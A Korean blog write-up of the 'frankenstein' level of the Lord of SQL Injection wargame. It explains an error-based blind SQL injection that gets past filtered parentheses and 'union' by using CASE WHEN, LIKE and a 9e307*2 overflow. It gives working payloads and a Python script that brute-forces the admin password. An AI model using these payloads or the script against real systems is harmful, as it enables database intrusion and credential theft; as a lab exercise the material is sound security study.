-
<Lord of SQL Injection> frankensteinWargame/Lord of SQL Injection 2021. 12. 1. 11:55
GET 방식으로 전달받은 pw에서 prob, _, ., (, ), union을 필터링한다.
에러메시지를 출력하는 걸로 보아 Error Based SQL Injection 기법을 수행할 수 있다.
첫 번째 쿼리에서는 id가 frankenstein이고 두 번째 쿼리의 id는 admin이다.
따라서, id='admin'을 넣어 줘야 한다.
괄호를 필터링하기 때문에 앞에서 풀었던 것 처럼 if 문을 사용할 수 없다.
따라서 case when 조건 then 결과1 else 결과2 end 문을 사용할 수 있다.
substr()이나 length()도 사용할 수 없기 때문에 like와 %를 사용할 수 있다.
조건이 성립할 경우를 구분하기 위해 에러를 출력하게 한다.
MySQL에서 처리할 수 있는 최대의 수가 9e307이다. 9e308을 입력하면 구문 자체가 error가 생기므로
9e307*2로 적어준다.
?pw=' or case when id='admin' and pw like '{문자}%' then 9e307*2 else 0 end%23을 통해 찾을 수 있다.
?pw=' or case when id='admin' and pw like '0%' then 9e307*2 else 0 end%23을 입력하면
"error"를 출력하고
?pw=' or case when id='admin' and pw like '1%' then 9e307*2 else 0 end%23을 입력하면
PHP 구문이 출력된다.
이를 통해 admin의 pw는 '0'으로 시작하는 문자열이라는 것을 알 수 있다.
이를 이용해 파이썬 코드를 이용해 찾아보면
import requests baseurl = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php" cookies = {"PHPSESSID" : "PHPSESSID"} pw = "" filter = [35, 37, 38, 39, 40, 41, 46, 95] for i in range(1, 50): for j in range(33, 127): if j in filter: continue url = baseurl + "?pw=' or case when id='admin' and pw like '{}%' then 9e307*2 else 0 end%23".format(pw+chr(j)) res = requests.get(url=url, cookies=cookies) if "login_chk" in res.text: continue else: pw += chr(j) print("{} : {}".format(i, chr(j))) break print("pw : ", pw)
위 파이썬 코드로 동작시켜 보니 웹 상에서는 error가 출력되지 않지만 파이썬에서는 error가 출력되어 제대로 된 값을 구하지 못했다. 뭐가 문제인지 모르겠어서 우선 하나하나 직접 구했다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> ouroboros (0) 2021.12.03 <Lord of SQL Injection> phantom (0) 2021.12.02 <Lord of SQL Injection> blue dragon (0) 2021.11.29 <Lord of SQL Injection> red dragon (0) 2021.11.28 <Lord of SQL Injection> green dragon (0) 2021.11.27